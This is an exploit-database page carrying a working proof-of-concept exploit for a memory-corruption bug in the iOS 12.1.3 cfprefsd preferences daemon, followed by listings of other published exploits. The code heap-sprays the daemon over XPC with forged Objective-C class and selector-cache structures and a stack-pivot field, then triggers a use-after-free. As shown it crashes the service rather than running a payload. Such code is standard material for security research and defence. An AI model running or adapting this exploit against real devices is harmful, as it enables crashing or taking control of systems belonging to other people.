Menu

Search for hundreds of thousands of exploits

"iOS 12.1.3 - 'cfprefsd' Memory Corruption"

Author

Exploit author

ZecOps

Platform

Exploit platform

ios

Release date

Exploit published date

2019-05-06

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
// (c) 2019 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes
// Intended only for educational and defensive purposes only. 
// Use at your own risk.
 
#include <xpc/xpc.h>
#import <pthread.h>
#include <mach/mach.h>
#include <mach/task.h>
#include <dlfcn.h>
#include <mach-o/dyld_images.h>
#include <objc/runtime.h>
 
#define AGENT 1
 
#define FILL_DICT_COUNT 0x600
#define FILL_COUNT 0x1000
#define FREE_COUNT 0x2000
#define FILL_SIZE (0xc0)
 
int need_stop = 0;
 
struct heap_spray {
    void* fake_objc_class_ptr;
    uint32_t r10;
    uint32_t r4;
    void* fake_sel_addr;
    uint32_t r5;
    uint32_t r6;
    uint64_t cmd;
    uint8_t pad1[0x3c];
    uint32_t stack_pivot;
    struct fake_objc_class_t {
        char pad[0x8];
        void* cache_buckets_ptr;
        uint32_t cache_bucket_mask;
    } fake_objc_class;
    struct fake_cache_bucket_t {
        void* cached_sel;
        void* cached_function;
    } fake_cache_bucket;
    char command[32];
};
 
void fill_once(){
     
#if AGENT
    xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cfprefsd.agent",0,0);
#else
    xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
#endif
     
    xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {
        xpc_type_t t = xpc_get_type(response);
        if (t == XPC_TYPE_ERROR){
            printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));
            need_stop = 1 ;
        }
        //printf("received an event\n");
    });
     
    xpc_connection_resume(client);
    xpc_object_t main_dict = xpc_dictionary_create(NULL, NULL, 0);
     
    xpc_object_t arr = xpc_array_create(NULL, 0);
     
    xpc_object_t spray_dict = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_int64(spray_dict, "CFPreferencesOperation", 8);
    xpc_dictionary_set_string(spray_dict, "CFPreferencesDomain", "xpc_str_domain");
    xpc_dictionary_set_string(spray_dict, "CFPreferencesUser", "xpc_str_user");
     
    char key[100];
    char value[FILL_SIZE];
    memset(value, "A", FILL_SIZE);
    *((uint64_t *)value) = 0x4142010180202020;
    //*((uint64_t *)value) = 0x180202020;
    value[FILL_SIZE-1]=0;
    for (int i=0; i<FILL_DICT_COUNT; i++) {
        sprintf(key, "%d",i);
        xpc_dictionary_set_string(spray_dict, key, value);
    }
      
    //NSLog(@"%@", spray_dict);
    for (uint64_t i=0; i<FILL_COUNT; i++) {
        xpc_array_append_value(arr, spray_dict);
    }
     
    xpc_dictionary_set_int64(main_dict, "CFPreferencesOperation", 5);
     
    xpc_dictionary_set_value(main_dict, "CFPreferencesMessages", arr);
 
    void* heap_spray_target_addr = (void*)0x180202000;
    struct heap_spray* map = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
    memset(map, 0, 0x1000);
    struct heap_spray* hs = (struct heap_spray*)((uint64_t)map + 0x20);
    //hs->null0 = 0;
    hs->cmd = -1;
    hs->fake_objc_class_ptr = &hs->fake_objc_class;
    hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
    hs->fake_objc_class.cache_bucket_mask = 0;
    hs->fake_sel_addr = &hs->fake_cache_bucket.cached_sel;
    // nasty hack to find the correct selector address
    hs->fake_cache_bucket.cached_sel = 0x7fff00000000 + (uint64_t)NSSelectorFromString(@"dealloc");
     
    hs->fake_cache_bucket.cached_function = 0xdeadbeef;
    size_t heap_spray_pages = 0x40000;
    size_t heap_spray_bytes = heap_spray_pages * 0x1000;
    char* heap_spray_copies = malloc(heap_spray_bytes);
    for (int i = 0; i < heap_spray_pages; i++){
    memcpy(heap_spray_copies+(i*0x1000), map, 0x1000);
    }
    xpc_dictionary_set_data(main_dict, "heap_spray", heap_spray_copies, heap_spray_bytes);
 
    //NSLog(@"%@", main_dict);
    xpc_connection_send_message(client, main_dict);
    printf("fill once\n");
    xpc_release(main_dict);
}
 
void trigger_vul(){
    #if AGENT
        printf("AGENT\n");
        xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.agent",0,0);
    #else
        printf("DAEMON\n");
        xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
    #endif
        xpc_connection_set_event_handler(conn, ^(xpc_object_t response) {
            xpc_type_t t = xpc_get_type(response);
            if (t == XPC_TYPE_ERROR){
                printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));
                need_stop = 1 ;
            }
        });
        xpc_connection_resume(conn);
         
        xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
        xpc_object_t arr = xpc_array_create(NULL, 0);
     
        xpc_object_t arr_free = xpc_dictionary_create(NULL, NULL, 0);
        xpc_dictionary_set_int64(arr_free, "CFPreferencesOperation", 4);
        xpc_array_append_value(arr, arr_free);
        for (int i=0; i<FREE_COUNT; i++) {
            xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
            xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 20);
            xpc_array_append_value(arr, arr_elem1);
        }
        //printf("%p, %p\n", arr_elem1, hello);
        xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);
        xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
 
        //NSLog (@"%@", hello);
        fill_once();
        xpc_connection_send_message(conn, hello);
        NSLog(@" trigger vuln");
        xpc_release(hello);
}
 
int main(int argc, const char * argv[]) {
 
    pthread_t fillthread1,triger_thread;
    NSLog(@"start to trigger..");
    trigger_vul();
 
    return 0;
}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-05-01 "HardDrive 2.1 for iOS - Arbitrary File Upload" webapps ios Vulnerability-Lab
2020-05-01 "Super Backup 2.0.5 for iOS - Directory Traversal" webapps ios Vulnerability-Lab
2020-04-29 "Easy Transfer 1.7 for iOS - Directory Traversal" webapps ios Vulnerability-Lab
2020-04-23 "Sky File 2.1.0 iOS - Directory Traversal" webapps ios Vulnerability-Lab
2020-04-17 "Playable 9.18 iOS - Persistent Cross-Site Scripting" webapps ios Vulnerability-Lab
2020-04-15 "SuperBackup 2.0.5 for iOS - Persistent Cross-Site Scripting" webapps ios Vulnerability-Lab
2020-04-15 "AirDisk Pro 5.5.3 for iOS - Persistent Cross-Site Scripting" webapps ios Vulnerability-Lab
2020-04-15 "File Transfer iFamily 2.1 - Directory Traversal" webapps ios Vulnerability-Lab
2020-03-23 "ProficySCADA for iOS 5.0.25920 - 'Password' Denial of Service (PoC)" dos ios "Ivan Marmolejo"
2020-02-03 "P2PWIFICAM2 for iOS 10.4.1 - 'Camera ID' Denial of Service (PoC)" dos ios "Ivan Marmolejo"
Release Date Title Type Platform Author
2019-05-06 "iOS 12.1.3 - 'cfprefsd' Memory Corruption" dos ios ZecOps
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.